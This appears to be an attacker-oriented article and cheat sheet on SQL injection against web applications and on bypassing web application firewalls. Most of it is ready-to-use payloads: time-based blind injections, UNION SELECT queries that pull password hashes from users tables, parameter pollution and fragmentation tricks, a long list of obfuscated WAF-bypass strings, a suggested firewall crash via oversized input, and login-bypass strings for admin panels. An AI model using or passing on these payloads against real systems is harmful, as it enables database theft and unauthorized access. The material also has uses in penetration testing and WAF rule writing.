Article in English
A little about SQL Injection. To know more about this method
SQLi
A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.
SQL Injection – Basic Concepts
There are two types of SQL Injection
• SQL Injection into a String/Char parameter Example: SELECT * from table where example = 'Example' • SQL Injection into a Numeric parameter Example: SELECT * from table where id = 123
- Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.
• A vulnerable request can get into Insert, Update, Delete, etc. Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
- Blind SQL Injection
Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
SLEEP(5)--
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1--
id=1) OR SLEEP(25)=0 LIMIT 1--
id=1' OR SLEEP(25)=0 LIMIT 1--
id=1') OR SLEEP(25)=0 LIMIT 1--
id=1)) OR SLEEP(25)=0 LIMIT 1--
id=SELECT SLEEP(25)--
- Exploitation features for various DBMSs
Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3 Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Bypassing WAF: SQL Injection – Normalization Method
Example Number (1) of a vulnerability in the function of request Normalization.
• The following request doesn’t allow anyone to conduct an attack
/?id=1+union+select+1,2,3/*
• If there is a corresponding vulnerability in the WAF, this request
will be successfully performed /?id=1/*union*/union/*select*/select+1,2,3/*
• After being processed by WAF, the request will become
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source.
Example Number (2) of a vulnerability in the function of request Normalization.
• Similarly, the following request doesn’t allow anyone to conduct an attack
/?id=1+union+select+1,2,3/*
• If there is a corresponding vulnerability in the WAF, this request will be successfully performed
/?id=1+un/**/ion+sel/**/ect+1,2,3--
• The SQL request will become
SELECT * from table where id =1 union select 1,2,3--
Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####, %00).
The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string).
‘Using HTTP Parameter Pollution (HPP)’
• The following request doesn’t allow anyone to conduct an attack
/?id=1;select+1,2,3+from+users+where+id=1--
• This request will be successfully performed using HPP
/?id=1;select+1&id=2,3+from+users+where+id=1--
Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked.
EU09 Luca Carettoni, Stefano diPaola.
Using HTTP Parameter Pollution (HPP)
• Vulnerable code
SQL=" select key from table where id= "+Request.QueryString("id")
• This request is successfully performed using the HPP technique
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
• The SQL request becomes select key from table where
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
ByPassing WAF: SQL Injection – HPF
Using HTTP Parameter Fragmentation (HPF)
• Vulnerable code example
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
• The following request doesn’t allow anyone to conduct an attack
/?a=1+union+select+1,2/*
• These requests may be successfully performed using HPF
/?a=1+union/*&b=*/select+1,2 /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• The SQL requests become
select * from table where a=1 union/* and b=*/select 1,2 select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
Bypassing WAF: Blind SQL Injection
Using logical requests AND/OR
• The following requests allow one to conduct a successful attack for many WAFs
/?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!
It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms.
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()
Wide variety of logical requests.
and 1
or 1
and 1=1
and 2<3
and ‘a’=’a’
and ‘a'<>’b’
and char(32)=’ ‘
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
….
An example of various request notations with the same meaning.
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=’*’
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=0x2a
select user from mysql.user where user = ‘user’ OR mid(password,1,1)=unhex(‘2a’)
select user from mysql.user where user = ‘user’ OR mid(password,1,1) regexp ‘[*]’
select user from mysql.user where user = ‘user’ OR mid(password,1,1) like ‘*’
select user from mysql.user where user = ‘user’ OR mid(password,1,1) rlike ‘[*]’
select user from mysql.user where user = ‘user’ OR ord(mid(password,1,1))=42
select user from mysql.user where user = ‘user’ OR ascii(mid(password,1,1))=42
select user from mysql.user where user = ‘user’ OR find_in_set(‘2a’,hex(mid(password,1,1)))=1
select user from mysql.user where user = ‘user’ OR position(0x2a in password)=1
select user from mysql.user where user = ‘user’ OR locate(0x2a,password)=1
Known:
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
New:
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.
An example of signature bypass.
The following request gets to WAF signature
/?id=1+union+(select+1,2+from+users)
But sometimes, the signatures used can be bypassed
/?id=1+union+(select+'xz'from+xxx) /?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select'1',concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50)
An SQL Injection attack can successfully bypass the WAF , and be conducted in all following cases:
• Vulnerabilities in the functions of WAF request normalization.
• Application of HPP and HPF techniques.
• Bypassing filter rules (signatures).
• Vulnerability exploitation by the method of blind SQL Injection.
• Attacking the application operating logics (and/or)
WAF Bypassing Strings.
/*!%55NiOn*/ /*!%53eLEct*/ %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat(‘’,@@version,’’) /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/*&test=1*/SELECT/*&pwn=2*/ un?+un/**/ion+se/**/lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a*/union%252f%252a /select%252f%252a*/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f**%2funion%2f**%2fselect%2f**%2f union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A /*!UnIoN*/SeLecT+
Union Select by PASS with Url Encoded Method:
%55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7
Illegal mix of Collations ByPass Method :
unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))) /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
Bypass with Comments
SQL comments allow us to bypass a lot of filtering and WAFs.
Code : http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
Case Changing
Some WAFs filter only lowercase SQL keyword.
Regex Filter: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
Replaced Keywords
Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
Some case SQL keyword was filtered out and replaced with whitespace. So we can use “%0b” to bypass.
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
For Mod_rewrite, Comments “/**/” cannot bypassed. So we use “%0b” replace “/**/”.
Forbidden: http://victim.com/main/news/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://victim.com/main/news/id/1%0b||%0blpad(first_name,7,1).html
Advanced Methods
Crash Firewall via doing Buffer Over Flow.
1) Buffer Overflow / Firewall Crash: Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow.
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
You can test if the WAF can be crashed by typing:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
If you get a 500, you can exploit it using the Buffer Overflow Method.
2) Replace Characters with their HEX Values: We can replace some characters with their HEX (URL-Encoded) Values.
Example:
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(which means “union select”)
4) Misc Exploitable Functions: Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:
This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
(If the Firewall removes the “*”, the result will be: 15+union+select….)
So, if you find such a silly function, you can exploit it, in this way.
Auth Bypass
If we need to bypass some admin panels, and we do that using or 1=1.
Code: or 1-- -' or 1 or '1"or 1 or"
SELECT * FROM login WHERE id=1 or 1– -‘ or 1 or ‘1″or 1 or” AND username= AND password= the “or 1– -” gets active, make the condition true and ignores the rest of the query. now lets check regular string-
SELECT * FROM login WHERE username=’ or 1– -‘ or 1 or ‘1″or 1 or” ‘ ….. the “or 1″ part make the query true, and the other parts are considered as the comparison strings. same with the double quotes. SELECT * FROM login WHERE username=” or 1– -‘ or 1 or ‘1″or 1 or” “